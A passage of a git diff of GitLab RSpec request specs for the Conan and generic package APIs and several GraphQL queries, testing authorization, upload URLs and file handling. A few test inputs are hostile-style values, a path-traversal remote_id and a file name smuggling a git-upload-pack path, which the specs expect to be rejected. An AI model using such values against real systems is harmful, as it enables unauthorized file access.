- describe 'POST /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/upload_urls' do
- let(:recipe_path) { package.conan_recipe_path }
-
- let(:params) do
- { 'conanfile.py': 24,
- 'conanmanifest.txt': 123 }
- end
-
- subject { post api("/packages/conan/v1/conans/#{recipe_path}/upload_urls"), params: params.to_json, headers: headers }
-
- it_behaves_like 'rejects invalid recipe'
- it_behaves_like 'rejects invalid upload_url params'
- it_behaves_like 'successful response when using Unicorn'
-
- it 'returns a set of upload urls for the files requested' do
- subject
-
- expected_response = {
- 'conanfile.py': "#{Settings.gitlab.base_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conanfile.py",
- 'conanmanifest.txt': "#{Settings.gitlab.base_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conanmanifest.txt"
- }
-
- expect(response.body).to eq(expected_response.to_json)
- end
-
- context 'with conan_sources and conan_export files' do
- let(:params) do
- { 'conan_sources.tgz': 345,
- 'conan_export.tgz': 234,
- 'conanmanifest.txt': 123 }
- end
-
- it 'returns upload urls for the additional files' do
- subject
-
- expected_response = {
- 'conan_sources.tgz': "#{Settings.gitlab.base_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conan_sources.tgz",
- 'conan_export.tgz': "#{Settings.gitlab.base_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conan_export.tgz",
- 'conanmanifest.txt': "#{Settings.gitlab.base_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conanmanifest.txt"
- }
-
- expect(response.body).to eq(expected_response.to_json)
- end
- end
-
- context 'with an invalid file' do
- let(:params) do
- { 'invalid_file.txt': 10,
- 'conanmanifest.txt': 123 }
- end
-
- it 'does not return the invalid file as an upload_url' do
- subject
-
- expected_response = {
- 'conanmanifest.txt': "#{Settings.gitlab.base_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/export/conanmanifest.txt"
- }
-
- expect(response.body).to eq(expected_response.to_json)
- end
- end
- end
-
- describe 'POST /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/packages/:conan_package_reference/upload_urls' do
- let(:recipe_path) { package.conan_recipe_path }
-
- let(:params) do
- { 'conaninfo.txt': 24,
- 'conanmanifest.txt': 123,
- 'conan_package.tgz': 523 }
- end
-
- subject { post api("/packages/conan/v1/conans/#{recipe_path}/packages/123456789/upload_urls"), params: params.to_json, headers: headers }
-
- it_behaves_like 'rejects invalid recipe'
- it_behaves_like 'rejects invalid upload_url params'
- it_behaves_like 'successful response when using Unicorn'
-
- it 'returns a set of upload urls for the files requested' do
- expected_response = {
- 'conaninfo.txt': "#{Settings.gitlab.base_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/123456789/0/conaninfo.txt",
- 'conanmanifest.txt': "#{Settings.gitlab.base_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/123456789/0/conanmanifest.txt",
- 'conan_package.tgz': "#{Settings.gitlab.base_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/123456789/0/conan_package.tgz"
- }
-
- subject
-
- expect(response.body).to eq(expected_response.to_json)
- end
-
- context 'with invalid files' do
- let(:params) do
- { 'conaninfo.txt': 24,
- 'invalid_file.txt': 10 }
- end
-
- it 'returns upload urls only for the valid requested files' do
- expected_response = {
- 'conaninfo.txt': "#{Settings.gitlab.base_url}/api/v4/packages/conan/v1/files/#{package.conan_recipe_path}/0/package/123456789/0/conaninfo.txt"
- }
-
- subject
-
- expect(response.body).to eq(expected_response.to_json)
- end
- end
- end
-
- describe 'DELETE /api/v4/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel' do
- let(:recipe_path) { package.conan_recipe_path }
-
- subject { delete api("/packages/conan/v1/conans/#{recipe_path}"), headers: headers}
-
- it_behaves_like 'rejects invalid recipe'
-
- it 'returns unauthorized for users without valid permission' do
- subject
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
-
- context 'with delete permissions' do
- before do
- project.add_maintainer(user)
- end
-
- it_behaves_like 'a gitlab tracking event', described_class.name, 'delete_package'
-
- it 'deletes a package' do
- expect { subject }.to change { Packages::Package.count }.from(2).to(1)
- end
- end
- end
- end
-
- context 'file endpoints' do
- let(:jwt) { build_jwt(personal_access_token) }
- let(:headers) { build_token_auth_header(jwt.encoded) }
- let(:recipe_path) { package.conan_recipe_path }
-
- shared_examples 'denies download with no token' do
- context 'with no private token' do
- let(:headers) { {} }
-
- it 'returns 400' do
- subject
-
- expect(response).to have_gitlab_http_status(:unauthorized)
- end
- end
- end
-
- shared_examples 'a public project with packages' do
- it 'returns the file' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
- end
- end
-
- shared_examples 'an internal project with packages' do
- before do
- project.team.truncate
- project.update!(visibility_level: Gitlab::VisibilityLevel::INTERNAL)
- end
-
- it_behaves_like 'denies download with no token'
-
- it 'returns the file' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
- end
- end
-
- shared_examples 'a private project with packages' do
- before do
- project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
- end
-
- it_behaves_like 'denies download with no token'
-
- it 'returns the file' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq('application/octet-stream')
- end
-
- it 'denies download when not enough permissions' do
- project.add_guest(user)
-
- subject
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
-
- shared_examples 'a project is not found' do
- let(:recipe_path) { 'not/package/for/project' }
-
- it 'returns forbidden' do
- subject
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
-
- describe 'GET /api/v4/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/
-:recipe_revision/export/:file_name' do
- let(:recipe_file) { package.package_files.find_by(file_name: 'conanfile.py') }
- let(:metadata) { recipe_file.conan_file_metadatum }
-
- subject do
- get api("/packages/conan/v1/files/#{recipe_path}/#{metadata.recipe_revision}/export/#{recipe_file.file_name}"),
- headers: headers
- end
-
- it_behaves_like 'a public project with packages'
- it_behaves_like 'an internal project with packages'
- it_behaves_like 'a private project with packages'
- it_behaves_like 'a project is not found'
- end
-
- describe 'GET /api/v4/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/
-:recipe_revision/package/:conan_package_reference/:package_revision/:file_name' do
- let(:package_file) { package.package_files.find_by(file_name: 'conaninfo.txt') }
- let(:metadata) { package_file.conan_file_metadatum }
-
- subject do
- get api("/packages/conan/v1/files/#{recipe_path}/#{metadata.recipe_revision}/package/#{metadata.conan_package_reference}/#{metadata.package_revision}/#{package_file.file_name}"),
- headers: headers
- end
-
- it_behaves_like 'a public project with packages'
- it_behaves_like 'an internal project with packages'
- it_behaves_like 'a private project with packages'
- it_behaves_like 'a project is not found'
-
- context 'tracking the conan_package.tgz download' do
- let(:package_file) { package.package_files.find_by(file_name: ::Packages::Conan::FileMetadatum::PACKAGE_BINARY) }
-
- it_behaves_like 'a gitlab tracking event', described_class.name, 'pull_package'
- end
- end
- end
-
- context 'file uploads' do
- let(:jwt) { build_jwt(personal_access_token) }
- let(:workhorse_token) { JWT.encode({ 'iss' => 'gitlab-workhorse' }, Gitlab::Workhorse.secret, 'HS256') }
- let(:workhorse_header) { { 'GitLab-Workhorse' => '1.0', Gitlab::Workhorse::INTERNAL_API_REQUEST_HEADER => workhorse_token } }
- let(:headers_with_token) { build_token_auth_header(jwt.encoded).merge(workhorse_header) }
- let(:recipe_path) { "foo/bar/#{project.full_path.tr('/', '+')}/baz"}
-
- shared_examples 'uploads a package file' do
- context 'with object storage disabled' do
- context 'without a file from workhorse' do
- let(:params) { { file: nil } }
-
- it 'rejects the request' do
- subject
-
- expect(response).to have_gitlab_http_status(:bad_request)
- end
- end
-
- context 'with a file' do
- it_behaves_like 'package workhorse uploads'
- end
-
- context 'without a token' do
- it 'rejects request without a token' do
- headers_with_token.delete('HTTP_AUTHORIZATION')
-
- subject
-
- expect(response).to have_gitlab_http_status(:unauthorized)
- end
- end
-
- context 'when params from workhorse are correct' do
- it 'creates package and stores package file' do
- expect { subject }
- .to change { project.packages.count }.by(1)
- .and change { Packages::PackageFile.count }.by(1)
-
- expect(response).to have_gitlab_http_status(:ok)
-
- package_file = project.packages.last.package_files.reload.last
- expect(package_file.file_name).to eq(params[:file].original_filename)
- end
-
- it "doesn't attempt to migrate file to object storage" do
- expect(ObjectStorage::BackgroundMoveWorker).not_to receive(:perform_async)
-
- subject
- end
- end
- end
-
- context 'with object storage enabled' do
- context 'and direct upload enabled' do
- let!(:fog_connection) do
- stub_package_file_object_storage(direct_upload: true)
- end
-
- let(:tmp_object) do
- fog_connection.directories.new(key: 'packages').files.create(
- key: "tmp/uploads/#{file_name}",
- body: 'content'
- )
- end
-
- let(:fog_file) { fog_to_uploaded_file(tmp_object) }
-
- ['123123', '../../123123'].each do |remote_id|
- context "with invalid remote_id: #{remote_id}" do
- let(:params) do
- {
- file: fog_file,
- 'file.remote_id' => remote_id
- }
- end
-
- it 'responds with status 403' do
- subject
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
- end
-
- context 'with valid remote_id' do
- let(:params) do
- {
- file: fog_file,
- 'file.remote_id' => file_name
- }
- end
-
- it 'creates package and stores package file' do
- expect { subject }
- .to change { project.packages.count }.by(1)
- .and change { Packages::PackageFile.count }.by(1)
-
- expect(response).to have_gitlab_http_status(:ok)
-
- package_file = project.packages.last.package_files.reload.last
- expect(package_file.file_name).to eq(params[:file].original_filename)
- expect(package_file.file.read).to eq('content')
- end
- end
- end
-
- it_behaves_like 'background upload schedules a file migration'
- end
- end
-
- shared_examples 'workhorse authorization' do
- it 'authorizes posting package with a valid token' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
- end
-
- it 'rejects request without a valid token' do
- headers_with_token['HTTP_AUTHORIZATION'] = 'foo'
-
- subject
-
- expect(response).to have_gitlab_http_status(:unauthorized)
- end
-
- it 'rejects request without a valid permission' do
- project.add_guest(user)
-
- subject
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
-
- it 'rejects requests that bypassed gitlab-workhorse' do
- headers_with_token.delete(Gitlab::Workhorse::INTERNAL_API_REQUEST_HEADER)
-
- subject
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
-
- context 'when using remote storage' do
- context 'when direct upload is enabled' do
- before do
- stub_package_file_object_storage(enabled: true, direct_upload: true)
- end
-
- it 'responds with status 200, location of package remote store and object details' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
- expect(json_response).not_to have_key('TempPath')
- expect(json_response['RemoteObject']).to have_key('ID')
- expect(json_response['RemoteObject']).to have_key('GetURL')
- expect(json_response['RemoteObject']).to have_key('StoreURL')
- expect(json_response['RemoteObject']).to have_key('DeleteURL')
- expect(json_response['RemoteObject']).not_to have_key('MultipartUpload')
- end
- end
-
- context 'when direct upload is disabled' do
- before do
- stub_package_file_object_storage(enabled: true, direct_upload: false)
- end
-
- it 'handles as a local file' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.media_type).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
- expect(json_response['TempPath']).to eq(::Packages::PackageFileUploader.workhorse_local_upload_path)
- expect(json_response['RemoteObject']).to be_nil
- end
- end
- end
- end
-
- describe 'PUT /api/v4/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/:recipe_revision/export/:file_name/authorize' do
- let(:file_name) { 'conanfile.py' }
-
- subject { put api("/packages/conan/v1/files/#{recipe_path}/0/export/#{file_name}/authorize"), headers: headers_with_token }
-
- it_behaves_like 'rejects invalid recipe'
- it_behaves_like 'rejects invalid file_name', 'conanfile.py.git%2fgit-upload-pack'
- it_behaves_like 'workhorse authorization'
- end
-
- describe 'PUT /api/v4/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/:recipe_revision/export/:conan_package_reference/:package_revision/:file_name/authorize' do
- let(:file_name) { 'conaninfo.txt' }
-
- subject { put api("/packages/conan/v1/files/#{recipe_path}/0/package/123456789/0/#{file_name}/authorize"), headers: headers_with_token }
-
- it_behaves_like 'rejects invalid recipe'
- it_behaves_like 'rejects invalid file_name', 'conaninfo.txttest'
- it_behaves_like 'workhorse authorization'
- end
-
- describe 'PUT /api/v4/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/:recipe_revision/export/:file_name' do
- let(:file_name) { 'conanfile.py' }
- let(:params) { { file: temp_file(file_name) } }
-
- subject do
- workhorse_finalize(
- "/api/v4/packages/conan/v1/files/#{recipe_path}/0/export/#{file_name}",
- method: :put,
- file_key: :file,
- params: params,
- send_rewritten_field: true,
- headers: headers_with_token
- )
- end
-
- it_behaves_like 'rejects invalid recipe'
- it_behaves_like 'rejects invalid file_name', 'conanfile.py.git%2fgit-upload-pack'
- it_behaves_like 'uploads a package file'
- end
-
- describe 'PUT /api/v4/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/:recipe_revision/export/:conan_package_reference/:package_revision/:file_name' do
- let(:file_name) { 'conaninfo.txt' }
- let(:params) { { file: temp_file(file_name) } }
-
- subject do
- workhorse_finalize(
- "/api/v4/packages/conan/v1/files/#{recipe_path}/0/package/123456789/0/#{file_name}",
- method: :put,
- file_key: :file,
- params: params,
- headers: headers_with_token,
- send_rewritten_field: true
- )
- end
-
- it_behaves_like 'rejects invalid recipe'
- it_behaves_like 'rejects invalid file_name', 'conaninfo.txttest'
- it_behaves_like 'uploads a package file'
-
- context 'tracking the conan_package.tgz upload' do
- let(:file_name) { ::Packages::Conan::FileMetadatum::PACKAGE_BINARY }
-
- it_behaves_like 'a gitlab tracking event', described_class.name, 'push_package'
- end
- end
- end
-end
diff --git a/spec/requests/api/conan_project_packages_spec.rb b/spec/requests/api/conan_project_packages_spec.rb
new file mode 100644
index 00000000000..fefaf9790b1
--- /dev/null
+++ b/spec/requests/api/conan_project_packages_spec.rb
@@ -0,0 +1,152 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe API::ConanProjectPackages do
+ include_context 'conan api setup'
+
+ let(:project_id) { project.id }
+
+ describe 'GET /api/v4/projects/:id/packages/conan/v1/ping' do
+ let(:url) { "/projects/#{project.id}/packages/conan/v1/ping" }
+
+ it_behaves_like 'conan ping endpoint'
+ end
+
+ describe 'GET /api/v4/projects/:id/packages/conan/v1/conans/search' do
+ let(:url) { "/projects/#{project.id}/packages/conan/v1/conans/search" }
+
+ it_behaves_like 'conan search endpoint'
+ end
+
+ describe 'GET /api/v4/projects/:id/packages/conan/v1/users/authenticate' do
+ let(:url) { "/projects/#{project.id}/packages/conan/v1/users/authenticate" }
+
+ it_behaves_like 'conan authenticate endpoint'
+ end
+
+ describe 'GET /api/v4/projects/:id/packages/conan/v1/users/check_credentials' do
+ let(:url) { "/projects/#{project.id}/packages/conan/v1/users/check_credentials" }
+
+ it_behaves_like 'conan check_credentials endpoint'
+ end
+
+ context 'recipe endpoints' do
+ include_context 'conan recipe endpoints'
+
+ let(:url_prefix) { "#{Settings.gitlab.base_url}/api/v4/projects/#{project_id}" }
+
+ describe 'GET /api/v4/projects/:id/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel' do
+ let(:recipe_path) { package.conan_recipe_path }
+ let(:url) { "/projects/#{project_id}/packages/conan/v1/conans/#{recipe_path}" }
+
+ it_behaves_like 'recipe snapshot endpoint'
+ end
+
+ describe 'GET /api/v4/projects/:id/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/packages/:conan_package_reference' do
+ let(:recipe_path) { package.conan_recipe_path }
+ let(:url) { "/projects/#{project_id}/packages/conan/v1/conans/#{recipe_path}/packages/#{conan_package_reference}" }
+
+ it_behaves_like 'package snapshot endpoint'
+ end
+
+ describe 'GET /api/v4/projects/:id/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/digest' do
+ subject { get api("/projects/#{project_id}/packages/conan/v1/conans/#{recipe_path}/digest"), headers: headers }
+
+ it_behaves_like 'recipe download_urls endpoint'
+ end
+
+ describe 'GET /api/v4/projects/:id/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/packages/:conan_package_reference/download_urls' do
+ subject { get api("/projects/#{project_id}/packages/conan/v1/conans/#{recipe_path}/packages/#{conan_package_reference}/download_urls"), headers: headers }
+
+ it_behaves_like 'package download_urls endpoint'
+ end
+
+ describe 'GET /api/v4/projects/:id/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/download_urls' do
+ subject { get api("/projects/#{project_id}/packages/conan/v1/conans/#{recipe_path}/download_urls"), headers: headers }
+
+ it_behaves_like 'recipe download_urls endpoint'
+ end
+
+ describe 'GET /api/v4/projects/:id/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/packages/:conan_package_reference/digest' do
+ subject { get api("/projects/#{project_id}/packages/conan/v1/conans/#{recipe_path}/packages/#{conan_package_reference}/digest"), headers: headers }
+
+ it_behaves_like 'package download_urls endpoint'
+ end
+
+ describe 'POST /api/v4/projects/:id/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/upload_urls' do
+ subject { post api("/projects/#{project_id}/packages/conan/v1/conans/#{recipe_path}/upload_urls"), params: params.to_json, headers: headers }
+
+ it_behaves_like 'recipe upload_urls endpoint'
+ end
+
+ describe 'POST /api/v4/projects/:id/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel/packages/:conan_package_reference/upload_urls' do
+ subject { post api("/projects/#{project_id}/packages/conan/v1/conans/#{recipe_path}/packages/123456789/upload_urls"), params: params.to_json, headers: headers }
+
+ it_behaves_like 'package upload_urls endpoint'
+ end
+
+ describe 'DELETE /api/v4/projects/:id/packages/conan/v1/conans/:package_name/package_version/:package_username/:package_channel' do
+ subject { delete api("/projects/#{project_id}/packages/conan/v1/conans/#{recipe_path}"), headers: headers}
+
+ it_behaves_like 'delete package endpoint'
+ end
+ end
+
+ context 'file download endpoints' do
+ include_context 'conan file download endpoints'
+
+ describe 'GET /api/v4/projects/:id/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/
+:recipe_revision/export/:file_name' do
+ subject do
+ get api("/projects/#{project_id}/packages/conan/v1/files/#{recipe_path}/#{metadata.recipe_revision}/export/#{recipe_file.file_name}"),
+ headers: headers
+ end
+
+ it_behaves_like 'recipe file download endpoint'
+ it_behaves_like 'project not found by project id'
+ end
+
+ describe 'GET /api/v4/projects/:id/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/
+:recipe_revision/package/:conan_package_reference/:package_revision/:file_name' do
+ subject do
+ get api("/projects/#{project_id}/packages/conan/v1/files/#{recipe_path}/#{metadata.recipe_revision}/package/#{metadata.conan_package_reference}/#{metadata.package_revision}/#{package_file.file_name}"),
+ headers: headers
+ end
+
+ it_behaves_like 'package file download endpoint'
+ it_behaves_like 'project not found by project id'
+ end
+ end
+
+ context 'file upload endpoints' do
+ include_context 'conan file upload endpoints'
+
+ describe 'PUT /api/v4/projects/:id/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/:recipe_revision/export/:file_name/authorize' do
+ let(:file_name) { 'conanfile.py' }
+
+ subject { put api("/projects/#{project_id}/packages/conan/v1/files/#{recipe_path}/0/export/#{file_name}/authorize"), headers: headers_with_token }
+
+ it_behaves_like 'workhorse authorize endpoint'
+ end
+
+ describe 'PUT /api/v4/projects/:id/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/:recipe_revision/export/:conan_package_reference/:package_revision/:file_name/authorize' do
+ let(:file_name) { 'conaninfo.txt' }
+
+ subject { put api("/projects/#{project_id}/packages/conan/v1/files/#{recipe_path}/0/package/123456789/0/#{file_name}/authorize"), headers: headers_with_token }
+
+ it_behaves_like 'workhorse authorize endpoint'
+ end
+
+ describe 'PUT /api/v4/projects/:id/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/:recipe_revision/export/:file_name' do
+ let(:url) { "/api/v4/projects/#{project_id}/packages/conan/v1/files/#{recipe_path}/0/export/#{file_name}" }
+
+ it_behaves_like 'workhorse recipe file upload endpoint'
+ end
+
+ describe 'PUT /api/v4/projects/:id/packages/conan/v1/files/:package_name/package_version/:package_username/:package_channel/:recipe_revision/export/:conan_package_reference/:package_revision/:file_name' do
+ let(:url) { "/api/v4/projects/#{project_id}/packages/conan/v1/files/#{recipe_path}/0/package/123456789/0/#{file_name}" }
+
+ it_behaves_like 'workhorse package file upload endpoint'
+ end
+ end
+end
diff --git a/spec/requests/api/generic_packages_spec.rb b/spec/requests/api/generic_packages_spec.rb
new file mode 100644
index 00000000000..ed852fe75c7
--- /dev/null
+++ b/spec/requests/api/generic_packages_spec.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::GenericPackages do
+ let_it_be(:personal_access_token) { create(:personal_access_token) }
+ let_it_be(:project) { create(:project) }
+
+ describe 'GET /api/v4/projects/:id/packages/generic/ping' do
+ let(:user) { personal_access_token.user }
+ let(:auth_token) { personal_access_token.token }
+
+ before do
+ project.add_developer(user)
+ end
+
+ context 'packages feature is disabled' do
+ it 'responds with 404 Not Found' do
+ stub_packages_setting(enabled: false)
+
+ ping(personal_access_token: auth_token)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'generic_packages feature flag is disabled' do
+ it 'responds with 404 Not Found' do
+ stub_feature_flags(generic_packages: false)
+
+ ping(personal_access_token: auth_token)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'generic_packages feature flag is enabled' do
+ before do
+ stub_feature_flags(generic_packages: true)
+ end
+
+ context 'authenticating using personal access token' do
+ it 'responds with 200 OK when valid personal access token is provided' do
+ ping(personal_access_token: auth_token)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ it 'responds with 401 Unauthorized when invalid personal access token provided' do
+ ping(personal_access_token: 'invalid-token')
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'authenticating using job token' do
+ it 'responds with 200 OK when valid job token is provided' do
+ job_token = create(:ci_build, :running, user: user).token
+
+ ping(job_token: job_token)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ it 'responds with 401 Unauthorized when invalid job token provided' do
+ ping(job_token: 'invalid-token')
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+ end
+
+ def ping(personal_access_token: nil, job_token: nil)
+ headers = {
+ Gitlab::Auth::AuthFinders::PRIVATE_TOKEN_HEADER => personal_access_token.presence,
+ Gitlab::Auth::AuthFinders::JOB_TOKEN_HEADER => job_token.presence
+ }.compact
+
+ get api('/projects/%d/packages/generic/ping' % project.id), headers: headers
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/boards/board_list_issues_query_spec.rb b/spec/requests/api/graphql/boards/board_list_issues_query_spec.rb
index ae1abb50a40..3628171fcc1 100644
--- a/spec/requests/api/graphql/boards/board_list_issues_query_spec.rb
+++ b/spec/requests/api/graphql/boards/board_list_issues_query_spec.rb
@@ -30,7 +30,7 @@ RSpec.describe 'get board lists' do
nodes {
lists {
nodes {
- issues {
+ issues(filters: {labelName: "#{label2.title}"}) {
count
nodes {
#{all_graphql_fields_for('issues'.classify)}
@@ -51,8 +51,8 @@ RSpec.describe 'get board lists' do
shared_examples 'group and project board list issues query' do
let!(:board) { create(:board, resource_parent: board_parent) }
let!(:label_list) { create(:list, board: board, label: label, position: 10) }
- let!(:issue1) { create(:issue, project: issue_project, labels: [label], relative_position: 9) }
- let!(:issue2) { create(:issue, project: issue_project, labels: [label], relative_position: 2) }
+ let!(:issue1) { create(:issue, project: issue_project, labels: [label, label2], relative_position: 9) }
+ let!(:issue2) { create(:issue, project: issue_project, labels: [label, label2], relative_position: 2) }
let!(:issue3) { create(:issue, project: issue_project, labels: [label], relative_position: 9) }
let!(:issue4) { create(:issue, project: issue_project, labels: [label2], relative_position: 432) }
@@ -72,7 +72,7 @@ RSpec.describe 'get board lists' do
it 'can access the issues' do
post_graphql(query("id: \"#{global_id_of(label_list)}\""), current_user: user)
- expect(issue_titles).to eq([issue2.title, issue3.title, issue1.title])
+ expect(issue_titles).to eq([issue2.title, issue1.title])
end
end
end
diff --git a/spec/requests/api/graphql/current_user_todos_spec.rb b/spec/requests/api/graphql/current_user_todos_spec.rb
new file mode 100644
index 00000000000..b657f15d0e9
--- /dev/null
+++ b/spec/requests/api/graphql/current_user_todos_spec.rb
@@ -0,0 +1,81 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'A Todoable that implements the CurrentUserTodos interface' do
+ include GraphqlHelpers
+
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:todoable) { create(:issue, project: project) }
+ let_it_be(:done_todo) { create(:todo, state: :done, target: todoable, user: current_user) }
+ let_it_be(:pending_todo) { create(:todo, state: :pending, target: todoable, user: current_user) }
+ let(:state) { 'null' }
+
+ let(:todoable_response) do
+ graphql_data_at(:project, :issue, :currentUserTodos, :nodes)
+ end
+
+ let(:query) do
+ <<~GQL
+ {
+ project(fullPath: "#{project.full_path}") {
+ issue(iid: "#{todoable.iid}") {
+ currentUserTodos(state: #{state}) {
+ nodes {
+ #{all_graphql_fields_for('Todo', max_depth: 1)}
+ }
+ }
+ }
+ }
+ }
+ GQL
+ end
+
+ it 'returns todos of the current user' do
+ post_graphql(query, current_user: current_user)
+
+ expect(todoable_response).to contain_exactly(
+ a_hash_including('id' => global_id_of(done_todo)),
+ a_hash_including('id' => global_id_of(pending_todo))
+ )
+ end
+
+ it 'does not return todos of another user', :aggregate_failures do
+ post_graphql(query, current_user: create(:user))
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(todoable_response).to be_empty
+ end
+
+ it 'does not error when there is no logged in user', :aggregate_failures do
+ post_graphql(query)
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(todoable_response).to be_empty
+ end
+
+ context 'when `state` argument is `pending`' do
+ let(:state) { 'pending' }
+
+ it 'returns just the pending todo' do
+ post_graphql(query, current_user: current_user)
+
+ expect(todoable_response).to contain_exactly(
+ a_hash_including('id' => global_id_of(pending_todo))
+ )
+ end
+ end
+
+ context 'when `state` argument is `done`' do
+ let(:state) { 'done' }
+
+ it 'returns just the done todo' do
+ post_graphql(query, current_user: current_user)
+
+ expect(todoable_response).to contain_exactly(
+ a_hash_including('id' => global_id_of(done_todo))
+ )
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/group/group_members_spec.rb b/spec/requests/api/graphql/group/group_members_spec.rb
new file mode 100644
index 00000000000..84b2fd63d46
--- /dev/null
+++ b/spec/requests/api/graphql/group/group_members_spec.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'getting group members information' do
+ include GraphqlHelpers
+
+ let_it_be(:group) { create(:group, :public) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:user_1) { create(:user, username: 'user') }
+ let_it_be(:user_2) { create(:user, username: 'test') }
+
+ let(:member_data) { graphql_data['group']['groupMembers']['edges'] }
+
+ before do
+ [user_1, user_2].each { |user| group.add_guest(user) }
+ end
+
+ context 'when the request is correct' do
+ it_behaves_like 'a working graphql query' do
+ before do
+ fetch_members(user)
+ end
+ end
+
+ it 'returns group members successfully' do
+ fetch_members(user)
+
+ expect(graphql_errors).to be_nil
+ expect_array_response(user_1.to_global_id.to_s, user_2.to_global_id.to_s)
+ end
+
+ it 'returns members that match the search query' do
+ fetch_members(user, { search: 'test' })
+
+ expect(graphql_errors).to be_nil
+ expect_array_response(user_2.to_global_id.to_s)
+ end
+ end
+
+ def fetch_members(user = nil, args = {})
+ post_graphql(members_query(args), current_user: user)
+ end
+
+ def members_query(args = {})
+ members_node = <<~NODE
+ edges {
+ node {
+ user {
+ id
+ }
+ }
+ }
+ NODE
+
+ graphql_query_for("group",
+ { full_path: group.full_path },
+ [query_graphql_field("groupMembers", args, members_node)]
+ )
+ end
+
+ def expect_array_response(*items)
+ expect(response).to have_gitlab_http_status(:success)
+ expect(member_data).to be_an Array
+ expect(member_data.map { |node| node["node"]["user"]["id"] }).to match_array(items)
+ end
+end
diff --git a/spec/requests/api/graphql/group_query_spec.rb b/spec/requests/api/graphql/group_query_spec.rb
index d99bff2e349..83180c7d7a5 100644
--- a/spec/requests/api/graphql/group_query_spec.rb
+++ b/spec/requests/api/graphql/group_query_spec.rb
@@ -89,18 +89,13 @@ RSpec.describe 'getting group information', :do_not_mock_admin_mode do
end
it 'avoids N+1 queries' do
- control_count = ActiveRecord::QueryRecorder.new do
- post_graphql(group_query(group1), current_user: admin)
- end.count
+ pending('See: https://gitlab.com/gitlab-org/gitlab/-/issues/245272')
queries = [{ query: group_query(group1) },
{ query: group_query(group2) }]
- expect do
- post_multiplex(queries, current_user: admin)
- end.not_to exceed_query_limit(control_count)
-
- expect(graphql_errors).to contain_exactly(nil, nil)
+ expect { post_multiplex(queries, current_user: admin) }
+ .to issue_same_number_of_queries_as { post_graphql(group_query(group1), current_user: admin) }
end
end
diff --git a/spec/requests/api/graphql/instance_statistics_measurements_spec.rb b/spec/requests/api/graphql/instance_statistics_measurements_spec.rb
new file mode 100644
index 00000000000..b8cbe54534a
--- /dev/null
+++ b/spec/requests/api/graphql/instance_statistics_measurements_spec.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'InstanceStatisticsMeasurements' do
